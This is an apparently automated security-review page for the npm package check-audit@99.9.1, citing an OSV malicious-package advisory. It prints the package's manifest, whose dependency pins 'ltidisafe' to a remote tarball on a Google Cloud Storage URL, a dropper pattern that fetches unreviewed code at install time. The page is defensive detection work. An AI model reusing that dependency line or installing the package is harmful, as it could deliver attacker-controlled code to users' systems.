registry / check-audit / 99.9.1

check-audit@99.9.1

AI Security Review

scanned 2d ago · by lpm-firewall-ai

npm dependency resolution downloads an externally hosted tarball. The inspected package itself has no executable behavior beyond an empty export.

Static reason

One or more suspicious static signals were detected.

Trigger

npm install resolves dependencies

Impact

The uninspected tarball can introduce code outside the reviewed package source.

Mechanism

remote tarball dependency fetch

Rationale

The remote dependency is a concrete staged-payload delivery surface, but inspected source does not show local execution or malicious effects. Warn pending dependency-payload inspection.

Evidence

package.jsonindex.js

Network endpoints1

ltidi.storage.googleapis.com/depenconf/ltidisafe-3.6.5.tgz

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-13976

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in check-audit (npm)

Details

check-audit@99.9.1 is an otherwise empty package (no author, no description, no meaningful code) whose only effect on install is to pull a dependency named `ltidisafe` from an arbitrary Google Cloud Storage URL: `https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.6.5.tgz`. This URL is not the npm registry and is not tied to any declared publisher of check-audit. The tarball contents are mutable and bypass registry-side scanning; whatever code and lifecycle scripts it ships execute in the installer's node_modules on `npm install`. The version number (99.9.1) and hollow package contents are consistent with a lure/dropper whose sole purpose is to pull attacker-controllable code into the dependency tree at install time.

References

OSV advisory PACKAGE

Decision evidence

public snapshot

AI called this Suspicious at 82.0% confidence as Unknown with medium false-positive risk.

Evidence for block

Manifest pins dependency ltidisafe to a remote tarball URL, so installation fetches code outside the package source.

Evidence against

No preinstall, install, or postinstall lifecycle hook is declared.
The sole runtime entrypoint only exports an empty object; no local execution, harvesting, or network logic is present.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

Trivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 35 B of source

Source & flagged code

2 flagged

package.jsonView file

Lines 1-15json

2 "name": "check-audit",

3 "version": "99.9.1",

4 "description": "",

5 "main": "index.js",

6 "scripts": {

Medium

Remote Tarball Dependency

Package manifest contains a dependency pinned to a remote tarball URL.

package.jsonView on unpkg · L6

7 "test": "echo \"Error: no test specified\" && exit 1"

8 },

9 "dependencies": {

10 "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.6.5.tgz"

11 },

High

Suspicious Dependency Evidence

Manifest pins dependency ltidisafe to a remote tarball URL, so installation fetches code outside the package source.

package.jsonView on unpkg · L9

12 "author": "",

13 "license": "ISC"

14}

Source & flagged code

2 flagged · loading source

package.jsonView file

9"dependencies": { "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.6.5.tgz" }

High

Suspicious Dependency Evidence

Manifest pins dependency ltidisafe to a remote tarball URL, so installation fetches code outside the package source.

package.jsonView on unpkg · L9

•Remote tarball dependency specs: ltidisafe@https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.6.5.tgz

Medium

Remote Tarball Dependency

Package manifest contains a dependency pinned to a remote tarball URL.

package.jsonView on unpkg

Findings

1 High1 Medium1 Low

HighSuspicious Dependency Evidencepackage.json

MediumRemote Tarball Dependencypackage.json

LowScripts Present